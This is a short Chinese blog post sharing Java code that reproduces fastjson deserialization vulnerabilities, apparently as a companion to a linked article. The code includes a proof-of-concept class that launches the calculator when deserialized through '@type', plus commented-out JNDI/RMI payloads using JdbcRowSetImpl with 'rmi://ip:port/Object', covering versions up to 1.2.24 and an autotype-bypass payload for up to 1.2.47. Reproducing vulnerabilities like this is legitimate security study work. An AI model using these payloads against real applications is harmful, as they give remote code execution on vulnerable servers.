fastjson復現專案程式碼
阿新 • • 發佈:2021-01-12
詳情請見:https://www.cnblogs.com/yunmuq/p/14268028.html
以下是程式碼
// FastjsonDemo.java package test; import com.alibaba.fastjson.JSON; public class FastjsonDemo { public static void main(String[] args) { User user = new User("zhousl", "123456"); String UserJson = JSON.toJSONString(user); System.out.println("序列化後的json字元:"+UserJson); User user1 = JSON.parseObject(UserJson, User.class); System.out.println("反序列化後的物件:"+user1.getClass().getName()); System.out.println("反序列化後的物件:"+user1.getUsername()+ " "+user1.getPassword()); //x<=1.2.24 Object test = JSON.parseObject("{\"@type\":\"test.CmdTest\"}"); //Object test = JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ip:port/Object\",\"autoCommit\":true}"); //x<=1.2.47 //Object test = JSON.parseObject("{\"x\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ip:port/Object\",\"autoCommit\":true}}"); System.out.println("反序列化後的物件:"+test.getClass().getName()); } }
package test; public class User { private String username; private String password; public User() {}; public User(String username,String password){ this.username = username; this.password = password; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } @Override public String toString() { return "User [username=" + username + ", password=" + password + "]"; } }
package test; import java.io.IOException; import java.net.MalformedURLException; import java.rmi.Naming; import java.rmi.NotBoundException; import java.rmi.RemoteException; public class CmdTest { CmdTest(){ //直接在構造方法中執行計算器 try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } public void client() throws MalformedURLException, RemoteException, NotBoundException { } }